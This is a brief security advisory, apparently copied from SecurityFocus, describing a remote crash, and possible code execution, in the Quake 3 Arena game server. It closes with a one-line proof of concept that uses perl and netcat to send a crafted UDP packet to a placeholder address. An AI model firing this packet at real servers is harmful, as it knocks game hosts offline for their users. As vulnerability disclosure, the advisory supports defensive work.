source: http://www.securityfocus.com/bid/3123/info

Quake3 Arena Server is a software package designed to host multiple Quake 3 players over a network for interactive play.

A vulnerability exists in this software that can allow a malicious user to remotely crash a Quake 3 Server. Execution of arbitrary code may be possible as well. 

perl -wle 'printf("%c%c%c%c%s",255,255,255,255,"connectre")' | nc -u 1.1.1.1